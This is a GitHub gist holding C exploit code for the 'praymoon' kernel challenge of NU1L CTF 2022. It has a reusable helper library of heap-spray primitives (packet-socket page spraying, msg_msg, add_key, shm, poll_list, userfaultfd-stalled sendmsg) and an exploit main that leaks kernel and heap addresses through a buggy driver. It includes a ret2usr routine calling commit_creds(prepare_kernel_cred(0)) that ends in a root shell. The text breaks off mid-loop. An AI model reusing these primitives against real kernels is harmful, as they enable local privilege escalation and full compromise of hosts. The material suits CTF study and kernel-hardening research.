Created
November 9, 2022 16:35
-
-
Save Roarcannotprogramming/aca9acf10aeba78f797e6e4b93fe4b4a to your computer and use it in GitHub Desktop.
EXP for NU1L CTF 2022 praymoon
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "banzi.h" | |
/* | |
* socket 占页 | |
* https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html | |
* 需要在内核中开启 CONFIG_USER_NS=y, 默认开启 | |
*/ | |
void unshare_setup(uid_t uid, gid_t gid) { | |
int temp; | |
char edit[0x100]; | |
unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET); | |
temp = open("/proc/self/setgroups", O_WRONLY); | |
write(temp, "deny", strlen("deny")); | |
close(temp); | |
temp = open("/proc/self/uid_map", O_WRONLY); | |
snprintf(edit, sizeof(edit), "0 %d 1", uid); | |
write(temp, edit, strlen(edit)); | |
close(temp); | |
temp = open("/proc/self/gid_map", O_WRONLY); | |
snprintf(edit, sizeof(edit), "0 %d 1", gid); | |
write(temp, edit, strlen(edit)); | |
close(temp); | |
return; | |
} | |
void send_spray_cmd(enum spray_cmd cmd, int idx) { | |
ipc_req_t req; | |
int32_t result; | |
req.cmd = cmd; | |
req.idx = idx; | |
write(sprayfd_child[1], &req, sizeof(req)); | |
read(sprayfd_parent[0], &result, sizeof(result)); | |
assert(result == idx); | |
} | |
int alloc_pages_via_sock(uint32_t size, uint32_t n) { | |
struct tpacket_req req; | |
int32_t socketfd, version; | |
socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET); | |
if (socketfd < 0) { | |
perror("bad socket"); | |
exit(-1); | |
} | |
version = TPACKET_V1; | |
if (setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0) { | |
perror("setsockopt PACKET_VERSION failed"); | |
exit(-1); | |
} | |
assert(size % 4096 == 0); | |
memset(&req, 0, sizeof(req)); | |
req.tp_block_size = size; | |
req.tp_block_nr = n; | |
req.tp_frame_size = 4096; | |
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size; | |
if (setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0) { | |
perror("setsockopt PACKET_TX_RING failed"); | |
exit(-1); | |
} | |
return socketfd; | |
} | |
void spray_comm_handler() { | |
ipc_req_t req; | |
int32_t result; | |
do { | |
read(sprayfd_child[0], &req, sizeof(req)); | |
assert(req.idx < INITIAL_PAGE_SPRAY); | |
if (req.cmd == ALLOC_PAGE) { | |
socketfds[req.idx] = alloc_pages_via_sock(4096, 1); | |
} else if (req.cmd == FREE_PAGE) { | |
close(socketfds[req.idx]); | |
} | |
result = req.idx; | |
write(sprayfd_parent[1], &result, sizeof(result)); | |
} while (req.cmd != EXIT_SPRAY); | |
} | |
static void socket_spray_example() { | |
// for communicating with spraying in separate namespace via TX_RINGs | |
pipe(sprayfd_child); | |
pipe(sprayfd_parent); | |
puts("setting up spray manager in separate namespace"); | |
if (!fork()) { | |
unshare_setup(getuid(), getgid()); | |
spray_comm_handler(); | |
} | |
puts("Allocated all pages"); | |
for (int i = 0; i < INITIAL_PAGE_SPRAY; i++) { | |
send_spray_cmd(ALLOC_PAGE, i); | |
} | |
puts("Closed all odd pages"); | |
for (int i = 1; i < INITIAL_PAGE_SPRAY; i += 2) { | |
send_spray_cmd(FREE_PAGE, i); | |
} | |
// TODO: get the freed odd pages back with our struct | |
// puts("Allocated all shm"); | |
// for (int i = 0; i < ((INITIAL_PAGE_SPRAY) / 2) * (0x1000 / 0x20) / 100; i++) { | |
// alloc_shm(i); | |
// } | |
puts("Closed all even pages"); | |
for (int i = 0; i < INITIAL_PAGE_SPRAY; i += 2) { | |
send_spray_cmd(FREE_PAGE, i); | |
} | |
} | |
/* | |
* ROP 相关 | |
*/ | |
void *(*prepare_kernel_cred)(uint64_t)KERNCALL = (void *(*)(uint64_t))0xffffffff810b9d80; // TODO:change it | |
void (*commit_creds)(void *) KERNCALL = (void (*)(void *))0xffffffff810b99d0; // TODO:change it | |
void save_stats_64() { | |
__asm__ __volatile__( | |
"movq %%cs, %0\n" | |
"movq %%ss, %1\n" | |
"movq %%rsp, %3\n" | |
"pushfq\n" | |
"popq %2\n" | |
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) | |
: | |
: "memory"); | |
} | |
void templine() { | |
commit_creds(prepare_kernel_cred(0)); | |
__asm__ __volatile__( | |
"pushq %0;" | |
"pushq %1;" | |
"pushq %2;" | |
"pushq %3;" | |
"pushq $shell;" | |
"pushq $0;" | |
"swapgs;" | |
"popq %%rbp;" | |
"iretq;" | |
: | |
: "m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs)); | |
} | |
void shell() { | |
printf("root\n"); | |
system("/bin/sh"); | |
exit(0); | |
} | |
uint64_t calc(uint64_t addr) { return addr - 0xffffffff81000000 + base_addr; } | |
/* | |
* msg_msg 相关 | |
* https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html | |
*/ | |
int32_t make_queue(key_t key, int msgflg) { | |
int32_t qid; | |
if ((qid = msgget(key, msgflg)) == -1) { | |
perror("msgget failure"); | |
exit(-1); | |
} | |
return qid; | |
} | |
void get_msg(int msqid, struct msg_struct *msgp, size_t msgsz, long msgtyp, int msgflg) { | |
if (msgrcv(msqid, msgp, msgsz, msgtyp, msgflg) < 0) { | |
perror("msgrcv"); | |
exit(-1); | |
} | |
return; | |
} | |
void send_msg(int msqid, struct msg_struct *msgp, size_t msgsz, int msgflg) { | |
if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) { | |
perror("msgsend failure"); | |
exit(-1); | |
} | |
return; | |
} | |
static void msg_msg_example() { | |
char *message = "Hello, World"; | |
char *recieved = malloc(0x100); | |
int qid = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); | |
send_msg(qid, message, strlen(message) + 1, 0); | |
get_msg(qid, recieved, strlen(message) + 1, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); | |
} | |
/* | |
* cpu_affinity 相关 | |
*/ | |
void assign_to_core(int core_id) { | |
cpu_set_t mask; | |
CPU_ZERO(&mask); | |
CPU_SET(core_id, &mask); | |
if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0) { | |
perror("[X] sched_setaffinity()"); | |
exit(1); | |
} | |
} | |
void assign_thread_to_core(int core_id) { | |
cpu_set_t mask; | |
CPU_ZERO(&mask); | |
CPU_SET(core_id, &mask); | |
if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0) { | |
perror("[X] assign_thread_to_core_range()"); | |
exit(1); | |
} | |
} | |
/* | |
* userfaultfd 相关 | |
*/ | |
uint64_t register_userfault(uint64_t fault_page, uint64_t fault_page_len, uint64_t handler) { | |
struct uffdio_api ua; | |
struct uffdio_register ur; | |
pthread_t thr; | |
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // Create THE User Fault Fd | |
ua.api = UFFD_API; | |
ua.features = 0; | |
if (ioctl(uffd, UFFDIO_API, &ua) == -1) errExit("[-] ioctl-UFFDIO_API"); | |
ur.range.start = (unsigned long)fault_page; | |
ur.range.len = fault_page_len; | |
ur.mode = UFFDIO_REGISTER_MODE_MISSING; | |
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) | |
errExit( | |
"[-] ioctl-UFFDIO_REGISTER"); //注册页地址与错误处理FD,若访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号 | |
if (pthread_create(&thr, NULL, (void *(*)(void *))handler, (void *)uffd)) // handler函数进行访存错误处理 | |
errExit("[-] pthread_create"); | |
return uffd; | |
} | |
static void *userfault_handler_example(void *arg) { | |
struct uffd_msg msg; /* Data read from userfaultfd */ | |
int fault_cnt = 0; /* Number of faults so far handled */ | |
long uffd; /* userfaultfd file descriptor */ | |
char *page = NULL; | |
struct uffdio_copy uffdio_copy; | |
ssize_t nread; | |
uffd = (long)arg; | |
/* Create a page that will be copied into the faulting region */ | |
if (page == NULL) { | |
page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | |
if (page == MAP_FAILED) perror("mmap"); | |
} | |
/* Loop, handling incoming events on the userfaultfd | |
file descriptor */ | |
for (;;) { | |
/* See what poll() tells us about the userfaultfd */ | |
struct pollfd pollfd; | |
int nready; | |
pollfd.fd = uffd; | |
pollfd.events = POLLIN; | |
nready = poll(&pollfd, 1, -1); | |
if (nready == -1) puts("poll"); | |
/* Read an event from the userfaultfd */ | |
nread = read(uffd, &msg, sizeof(msg)); | |
if (nread == 0) { | |
printf("EOF on userfaultfd!\n"); | |
exit(EXIT_FAILURE); | |
} | |
if (nread == -1) puts("read"); | |
/* We expect only one kind of event; verify that assumption */ | |
if (msg.event != UFFD_EVENT_PAGEFAULT) { | |
fprintf(stderr, "Unexpected event on userfaultfd\n"); | |
exit(EXIT_FAILURE); | |
} | |
/* Copy the page pointed to by 'page' into the faulting | |
region. Vary the contents that are copied in, so that it | |
is more obvious that each fault is handled separately. */ | |
if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) { | |
// TODO: write | |
printf("[-] triggering write fault\n"); | |
sleep(2); | |
} else { | |
// TODO: read | |
printf("[-] triggering write fault\n"); | |
sleep(2); | |
fault_cnt++; | |
uffdio_copy.src = (unsigned long)page; | |
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1); | |
uffdio_copy.len = 0x1000; | |
uffdio_copy.mode = 0; | |
uffdio_copy.copy = 0; | |
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) perror("ioctl-UFFDIO_COPY"); | |
} | |
} | |
} | |
/* | |
* add_key 相关 | |
* https://syst3mfailure.io/corjail | |
*/ | |
int alloc_key(int id, char *buff, size_t size) { | |
char desc[256] = {0}; | |
char *payload; | |
int key; | |
size -= sizeof(struct user_key_payload); | |
sprintf(desc, "payload_%d", id); | |
payload = buff ? buff : calloc(1, size); | |
if (!buff) memset(payload, id, size); | |
key = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING); | |
if (key < 0) { | |
perror("[X] add_key()"); | |
return -1; | |
} | |
return key; | |
} | |
void free_key(int i) { | |
keyctl_revoke(spray_keys[i]); | |
keyctl_unlink(spray_keys[i], KEY_SPEC_PROCESS_KEYRING); | |
} | |
char *get_key(int i, size_t size) { | |
char *data; | |
data = calloc(1, size); | |
keyctl_read(spray_keys[i], data, size); | |
return data; | |
} | |
/* | |
* shm 相关 | |
* https://syst3mfailure.io/sixpack-slab-out-of-bounds | |
*/ | |
void alloc_shm(int i) { | |
shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600); | |
if (shmid[i] < 0) { | |
perror("[X] shmget fail"); | |
exit(1); | |
} | |
shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY); | |
if (shmaddr[i] < 0) { | |
perror("[X] shmat"); | |
exit(1); | |
} | |
} | |
/* | |
* hexdump | |
*/ | |
void hexdump(unsigned char *buff, size_t size) { | |
int i, j; | |
for (i = 0; i < size / 8; i++) { | |
if ((i % 2) == 0) { | |
if (i != 0) printf(" \n"); | |
printf(" %04x ", i * 8); | |
} | |
printf("0x%016lx", ((uint64_t *)(buff))[i]); | |
printf(" "); | |
} | |
putchar('\n'); | |
} | |
/* | |
* pollfd 相关 | |
* https://syst3mfailure.io/corjail | |
*/ | |
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; | |
void *alloc_poll_list(void *args) { | |
struct pollfd *pfds; | |
int nfds, timeout, id, watch_fd; | |
id = ((struct t_args *)args)->id; | |
nfds = ((struct t_args *)args)->nfds; | |
timeout = ((struct t_args *)args)->timeout; | |
watch_fd = ((struct t_args *)args)->watch_fd; | |
pfds = calloc(nfds, sizeof(struct pollfd)); | |
for (int i = 0; i < nfds; i++) { | |
pfds[i].fd = watch_fd; | |
pfds[i].events = POLLERR; | |
} | |
assign_thread_to_core(0); | |
pthread_mutex_lock(&mutex); | |
poll_threads++; | |
pthread_mutex_unlock(&mutex); | |
printf("[Thread %d] Start polling...\n", id); | |
int ret = poll(pfds, nfds, timeout); | |
printf("[Thread %d] Polling complete: %d!\n", id, ret); | |
} | |
void create_poll_thread(int id, size_t size, int timeout) { | |
struct t_args *args; | |
args = calloc(1, sizeof(struct t_args)); | |
if (size > PAGE_SIZE) size = size - ((size / PAGE_SIZE) * sizeof(struct poll_list)); | |
args->id = id; | |
args->nfds = NFDS(size); | |
args->timeout = timeout; | |
args->watch_fd = poll_watch_fd; | |
pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args); | |
} | |
void join_poll_threads(void) { | |
for (int i = 0; i < poll_threads; i++) pthread_join(poll_tid[i], NULL); | |
poll_threads = 0; | |
} | |
void init_fd() { | |
poll_watch_fd = open("/etc/passwd", O_RDONLY); | |
if (poll_watch_fd < 1) { | |
perror("[X] init_fd()"); | |
exit(1); | |
} | |
} | |
/* | |
* msgsnd 相关 | |
* 需要 userfaultfd 配合使用,并注意检查 userfaultfd 结束后,sendmsg 是否返回。 | |
*/ | |
struct sockaddr_in socket_addr = {0}; | |
void sendmsg_init(uint64_t n, uint64_t spray_size, uint64_t offset, uint64_t userfault_handler) { | |
assert(offset < PAGE_SIZE && "offset must be less than PAGE_SIZE"); | |
assert(spray_size > 44 && "spray_size must be greater than 44"); | |
sendmsg_mmaped_addrs = calloc(n, sizeof(uint64_t)); | |
for (int i = 0; i < n; i++) { | |
sendmsg_mmaped_addrs[i] = mmap(NULL, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | |
if (sendmsg_mmaped_addrs[i] == MAP_FAILED) { | |
perror("[X] mmap"); | |
exit(1); | |
} | |
// hit all the odd pages | |
sendmsg_mmaped_addrs[i][0] = '\0'; | |
} | |
sendmsg_socketfd = socket(AF_INET, SOCK_DGRAM, 0); | |
socket_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); | |
socket_addr.sin_family = AF_INET; | |
socket_addr.sin_port = htons(6666); | |
sendmsg_msgs = calloc(n, sizeof(struct msghdr)); | |
if (sendmsg_msgs == NULL) { | |
perror("[X] calloc"); | |
exit(1); | |
} | |
for (int i = 0; i < n; i++) { | |
memset(&sendmsg_msgs[i], 0, sizeof(struct msghdr)); | |
sendmsg_msgs[i].msg_control = sendmsg_mmaped_addrs[i] + offset; | |
sendmsg_msgs[i].msg_controllen = spray_size; | |
sendmsg_msgs[i].msg_name = (caddr_t)&socket_addr; | |
sendmsg_msgs[i].msg_namelen = sizeof(socket_addr); | |
register_userfault(sendmsg_mmaped_addrs[i] + 0x1000, PAGE_SIZE, (uint64_t)userfault_handler); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <arpa/inet.h> | |
#include <assert.h> | |
#include <errno.h> | |
#include <fcntl.h> | |
#include <inttypes.h> | |
#include <keyutils.h> | |
#include <linux/userfaultfd.h> | |
#include <poll.h> | |
#include <pthread.h> | |
#include <signal.h> | |
#include <stdbool.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <sys/ipc.h> | |
#include <sys/mman.h> | |
#include <sys/msg.h> | |
#include <sys/shm.h> | |
#include <sys/socket.h> | |
#include <sys/stat.h> | |
#include <sys/syscall.h> | |
#include <sys/types.h> | |
#include <sys/wait.h> | |
#include <sys/xattr.h> | |
#include <unistd.h> | |
#define errExit(msg) \ | |
do { \ | |
perror(msg); \ | |
exit(EXIT_FAILURE); \ | |
} while (0) | |
#define PAGE_SIZE 0x1000 | |
/* | |
* socket 占页 | |
* https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html | |
* 需要在内核中开启 CONFIG_USER_NS=y, 默认开启 | |
*/ | |
// 一般环境最大 fds 是 1024,如果超出,修改 INITIAL_PAGE_SPRAY。 | |
#define INITIAL_PAGE_SPRAY 903 | |
#define PACKET_VERSION 10 | |
#define PACKET_TX_RING 13 | |
struct tpacket_req { | |
unsigned int tp_block_size; | |
unsigned int tp_block_nr; | |
unsigned int tp_frame_size; | |
unsigned int tp_frame_nr; | |
}; | |
enum tpacket_versions { | |
TPACKET_V1, | |
TPACKET_V2, | |
TPACKET_V3, | |
}; | |
int sprayfd_child[2]; | |
int sprayfd_parent[2]; | |
int socketfds[INITIAL_PAGE_SPRAY]; | |
enum spray_cmd { | |
ALLOC_PAGE, | |
FREE_PAGE, | |
EXIT_SPRAY, | |
}; | |
typedef struct { | |
enum spray_cmd cmd; | |
int32_t idx; | |
} ipc_req_t; | |
void unshare_setup(uid_t uid, gid_t gid); | |
void send_spray_cmd(enum spray_cmd cmd, int idx); | |
int alloc_pages_via_sock(uint32_t size, uint32_t n); | |
void spray_comm_handler(); | |
/* | |
* ROP 相关 | |
*/ | |
unsigned long user_cs, user_ss, user_rflags, user_sp; | |
unsigned long long int base_addr; | |
#define KERNCALL __attribute__((regparm(3))) | |
void *(*prepare_kernel_cred)(uint64_t)KERNCALL; | |
void (*commit_creds)(void *) KERNCALL; | |
void save_stats_64(); | |
void templine(); | |
void shell(); | |
uint64_t calc(uint64_t addr); | |
/* | |
* msg_msg 相关 | |
* https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html | |
*/ | |
struct msg_msg { | |
uint64_t m_list_1; | |
uint64_t m_list_2; | |
long m_type; | |
size_t m_ts; /* message text size */ | |
uint64_t next; | |
void *security; | |
/* the actual message follows immediately */ | |
}; | |
struct msg_struct { | |
long mtype; | |
char mtext[0]; | |
}; | |
int32_t make_queue(key_t key, int msgflg); | |
void get_msg(int msqid, struct msg_struct *msgp, size_t msgsz, long msgtyp, int msgflg); | |
void send_msg(int msqid, struct msg_struct *msgp, size_t msgsz, int msgflg); | |
/* | |
* cpu_affinity 相关 | |
*/ | |
void assign_to_core(int core_id); | |
void assign_thread_to_core(int core_id); | |
/* | |
* userfaultfd 相关 | |
*/ | |
uint64_t register_userfault(uint64_t fault_page, uint64_t fault_page_len, uint64_t handler); | |
/* | |
* add_key 相关 | |
* https://syst3mfailure.io/corjail | |
*/ | |
struct rcu_head { | |
void *next; | |
void *func; | |
}; | |
struct user_key_payload { | |
struct rcu_head rcu; | |
unsigned short datalen; | |
char *data[]; | |
}; | |
int spray_keys[0x1000]; | |
int alloc_key(int id, char *buff, size_t size); | |
void free_key(int i); | |
char *get_key(int i, size_t size); | |
/* | |
* shm 相关 | |
* https://syst3mfailure.io/sixpack-slab-out-of-bounds | |
*/ | |
int shmid[0x1000]; | |
void *shmaddr[0x1000]; | |
void alloc_shm(int i); | |
/* | |
* hexdump | |
*/ | |
void hexdump(unsigned char *buff, size_t size); | |
/* | |
* pollfd 相关 | |
* https://syst3mfailure.io/corjail | |
*/ | |
#define N_STACK_PPS 30 | |
#define POLLFD_PER_PAGE 510 | |
#define POLL_LIST_SIZE 16 | |
#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS); | |
pthread_t poll_tid[0x1000]; | |
size_t poll_threads; | |
pthread_mutex_t mutex; | |
struct t_args { | |
int id; | |
int nfds; | |
int timeout; | |
int watch_fd; | |
}; | |
struct poll_list { | |
struct poll_list *next; | |
int len; | |
struct pollfd entries[]; | |
}; | |
int poll_watch_fd; | |
void *alloc_poll_list(void *args); | |
void create_poll_thread(int id, size_t size, int timeout); | |
void join_poll_threads(void); | |
void init_fd(); | |
/* | |
* sendmsg 相关 | |
*/ | |
int sendmsg_socketfd; | |
char **sendmsg_mmaped_addrs; | |
struct sockaddr_in socket_addr; | |
struct msghdr *sendmsg_msgs; | |
void sendmsg_init(uint64_t n, uint64_t spray_size, uint64_t offset, uint64_t userfault_handler); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "banzi.h" | |
int moon_fd; | |
uint64_t heap_addr, kernel_base, shm_struct_addr, pipe_addr, pipe_free_addr, legal_page; | |
struct uffd_thread_args { | |
uint64_t uffd; | |
uint64_t src_addr; | |
uint64_t dst_addr; | |
}; | |
void wake_range(int ufd, unsigned long addr, unsigned long len) { | |
struct uffdio_range uffdio_wake; | |
uffdio_wake.start = addr; | |
uffdio_wake.len = len; | |
if (ioctl(ufd, UFFDIO_WAKE, &uffdio_wake)) fprintf(stderr, "error waking %lu\n", addr), exit(1); | |
} | |
static void *userfault_handler(void *arg) { | |
struct uffd_msg msg; /* Data read from userfaultfd */ | |
int fault_cnt = 0; /* Number of faults so far handled */ | |
long uffd; /* userfaultfd file descriptor */ | |
char *page = NULL; | |
struct uffdio_copy uffdio_copy; | |
ssize_t nread; | |
uffd = (long)arg; | |
/* Create a page that will be copied into the faulting region */ | |
if (page == NULL) { | |
page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | |
if (page == MAP_FAILED) perror("mmap"); | |
} | |
/* Loop, handling incoming events on the userfaultfd | |
file descriptor */ | |
for (;;) { | |
/* See what poll() tells us about the userfaultfd */ | |
struct pollfd pollfd; | |
int nready; | |
pollfd.fd = uffd; | |
pollfd.events = POLLIN; | |
nready = poll(&pollfd, 1, -1); | |
if (nready == -1) puts("poll"); | |
/* Read an event from the userfaultfd */ | |
nread = read(uffd, &msg, sizeof(msg)); | |
if (nread == 0) { | |
printf("EOF on userfaultfd!\n"); | |
exit(EXIT_FAILURE); | |
} | |
if (nread == -1) puts("read"); | |
/* We expect only one kind of event; verify that assumption */ | |
if (msg.event != UFFD_EVENT_PAGEFAULT) { | |
fprintf(stderr, "Unexpected event on userfaultfd\n"); | |
exit(EXIT_FAILURE); | |
} | |
/* Copy the page pointed to by 'page' into the faulting | |
region. Vary the contents that are copied in, so that it | |
is more obvious that each fault is handled separately. */ | |
if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) { | |
// TODO: write | |
printf("[-] triggering write fault\n"); | |
sleep(2); | |
} else { | |
// TODO: read | |
printf("[-] triggering read fault\n"); | |
sleep(2); | |
fault_cnt++; | |
struct uffdio_copy uffdio_copy; | |
uffdio_copy.src = (uint64_t)page; | |
uffdio_copy.dst = (uint64_t)msg.arg.pagefault.address & ~(0x1000 - 1); | |
uffdio_copy.len = 0x1000; | |
uffdio_copy.mode = 0; | |
uffdio_copy.copy = 0; | |
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy)) { | |
if (uffdio_copy.copy != -EEXIST) { | |
perror("ioctl"); | |
exit(1); | |
} | |
wake_range(uffd, uffdio_copy.dst, PAGE_SIZE); | |
}; | |
} | |
} | |
} | |
static void *userfault_handler_forever(void *arg) { | |
struct uffd_msg msg; /* Data read from userfaultfd */ | |
int fault_cnt = 0; /* Number of faults so far handled */ | |
long uffd; /* userfaultfd file descriptor */ | |
char *page = NULL; | |
struct uffdio_copy uffdio_copy; | |
ssize_t nread; | |
uffd = (long)arg; | |
/* Create a page that will be copied into the faulting region */ | |
if (page == NULL) { | |
page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | |
if (page == MAP_FAILED) perror("mmap"); | |
} | |
/* Loop, handling incoming events on the userfaultfd | |
file descriptor */ | |
for (;;) { | |
/* See what poll() tells us about the userfaultfd */ | |
struct pollfd pollfd; | |
int nready; | |
pollfd.fd = uffd; | |
pollfd.events = POLLIN; | |
nready = poll(&pollfd, 1, -1); | |
if (nready == -1) puts("poll"); | |
/* Read an event from the userfaultfd */ | |
nread = read(uffd, &msg, sizeof(msg)); | |
if (nread == 0) { | |
printf("EOF on userfaultfd!\n"); | |
exit(EXIT_FAILURE); | |
} | |
if (nread == -1) puts("read"); | |
/* We expect only one kind of event; verify that assumption */ | |
if (msg.event != UFFD_EVENT_PAGEFAULT) { | |
fprintf(stderr, "Unexpected event on userfaultfd\n"); | |
exit(EXIT_FAILURE); | |
} | |
/* Copy the page pointed to by 'page' into the faulting | |
region. Vary the contents that are copied in, so that it | |
is more obvious that each fault is handled separately. */ | |
if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) { | |
// TODO: write | |
printf("[-] triggering write fault\n"); | |
sleep(2); | |
} else { | |
// TODO: read | |
printf("[-] triggering read fault\n"); | |
sleep(100000000); | |
fault_cnt++; | |
struct uffdio_copy uffdio_copy; | |
uffdio_copy.src = (uint64_t)page; | |
uffdio_copy.dst = (uint64_t)msg.arg.pagefault.address & ~(0x1000 - 1); | |
uffdio_copy.len = 0x1000; | |
uffdio_copy.mode = 0; | |
uffdio_copy.copy = 0; | |
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy)) { | |
if (uffdio_copy.copy != -EEXIST) { | |
perror("ioctl"); | |
exit(1); | |
} | |
wake_range(uffd, uffdio_copy.dst, PAGE_SIZE); | |
}; | |
} | |
} | |
} | |
void moon_malloc() { ioctl(moon_fd, 0x5555, 0); } | |
void moon_free() { ioctl(moon_fd, 0x6666, 0); } | |
#define NUM_PIPEFDS 0x100 | |
int pipefd[NUM_PIPEFDS][2]; | |
static void socket_spray() { | |
// for communicating with spraying in separate namespace via TX_RINGs | |
pipe(sprayfd_child); | |
pipe(sprayfd_parent); | |
puts("setting up spray manager in separate namespace"); | |
if (!fork()) { | |
unshare_setup(getuid(), getgid()); | |
spray_comm_handler(); | |
} | |
puts("Allocated all pages"); | |
for (int i = 0; i < INITIAL_PAGE_SPRAY; i++) { | |
send_spray_cmd(ALLOC_PAGE, i); | |
} | |
puts("Closed all odd pages"); | |
for (int i = 1; i < INITIAL_PAGE_SPRAY; i += 2) { | |
send_spray_cmd(FREE_PAGE, i); | |
} | |
// TODO: get the freed odd pages back with our struct | |
puts("Allocated all pipe_buf"); | |
for (int i = 0; i < NUM_PIPEFDS; i++) { | |
if (pipe(pipefd[i]) < 0) { | |
perror("[-] pipe"); | |
} | |
if (i % 2 == 0) { | |
if (write(pipefd[i][1], "pwneeeeeeeeee", 14) < 0) { | |
perror("[-] write"); | |
} | |
} | |
} | |
// puts("Allocated all shm"); | |
// for (int i = 0; i < ((INITIAL_PAGE_SPRAY) / 2) * (0x1000 / 0x20) / 100; i++) { | |
// alloc_shm(i); | |
// } | |
puts("Closed all even pages"); | |
for (int i = 0; i < INITIAL_PAGE_SPRAY; i += 2) { | |
send_spray_cmd(FREE_PAGE, i); | |
} | |
} | |
void pthread_sendmsg(void *msg) { | |
assign_to_core(0); | |
sendmsg(sendmsg_socketfd, (struct msghdr *)msg, 0); | |
} | |
// int keys[0x1000]; | |
#define MSG_SND_N 30 | |
int main() { | |
char x; | |
pthread_t threads[0x200]; | |
char tmp_buf[0x1000] = {0}; | |
assign_to_core(0); | |
save_stats_64(); | |
moon_fd = open("/dev/seven", O_RDWR); | |
sendmsg_init(MSG_SND_N, 0x1f0, 0xf00, userfault_handler); | |
socket_spray(); | |
for (int i = 0; i < 10; i++) { | |
alloc_shm(i); | |
} | |
// pre spray | |
for (int i = 0; i < 7; i++) { | |
memset(tmp_buf, 'A' + i, 0x1000); | |
spray_keys[i] = alloc_key(i, tmp_buf, 0x101); | |
} | |
moon_malloc(); | |
moon_free(); | |
// user key limit 20000 / 0x101 = 77 | |
for (int i = 7; i < 77; i++) { | |
memset(tmp_buf, 'a' + i, 0x1000); | |
spray_keys[i] = alloc_key(i, tmp_buf, 0x101); | |
} | |
// getchar(); | |
for (int i = 0; i < 0x4; i++) { | |
free_key(i); | |
} | |
moon_free(); | |
// getchar(); | |
for (int i = 0; i < MSG_SND_N; i++) { | |
((uint64_t *)sendmsg_msgs[i].msg_control)[0] = 0; | |
((uint64_t *)sendmsg_msgs[i].msg_control)[1] = 0; | |
((uint64_t *)sendmsg_msgs[i].msg_control)[2] = 0xfff0; | |
((uint64_t *)sendmsg_msgs[i].msg_control)[3] = 0xdeadbeef; | |
pthread_create(&threads[i], NULL, pthread_sendmsg, (void *)&sendmsg_msgs[i]); | |
} | |
sleep(1); | |
char *key_data; | |
int find_key = -1; | |
for (int i = 7; i < 77; i++) { | |
key_data = get_key(i, 0xfff0); | |
// hexdump(key_data, 0x10); | |
if (((uint64_t *)key_data)[0] == 0xdeadbeef) { | |
printf("1: Found key %d\n", i); | |
find_key = i; | |
// for (int j = 0; j < 0xfff0; j += 8) { | |
// if ((*(uint64_t *)(key_data + j) & 0xfff) == 0x5a0) { | |
// printf("2: Found file %d at %x\n", i, j); | |
// heap_addr = *(uint64_t *)(key_data + j + 0x30) - (j + 0x30 + 0x18); | |
// kernel_base = *(uint64_t *)(key_data + j) - 0x124b5a0; | |
// file_struct_addr = (heap_addr + j - 0x10); | |
// if ((kernel_base & 0xfffff) != 0) { | |
// continue; | |
// } | |
// hexdump(key_data + j - 0x28, 0x80); | |
// printf("3: Found heap addr %#lx\nkernel base %#lx\nfile_struct addr %#lx\n", heap_addr, | |
// kernel_base, | |
// (heap_addr + j - 0x10)); | |
// break; | |
// } | |
// } | |
for (int j = 0; j < 0xfff0; j += 8) { | |
if ((*(uint64_t *)(key_data + j) & 0xfff) == 0x520 && (j % 16) == 0) { | |
printf("2: Found shm %d at %x\n", i, j); | |
heap_addr = *(uint64_t *)(key_data + j - 0x18) - (j - 0x18 + 0x18); | |
kernel_base = *(uint64_t *)(key_data + j) - 0x124b520; | |
shm_struct_addr = heap_addr + j; | |
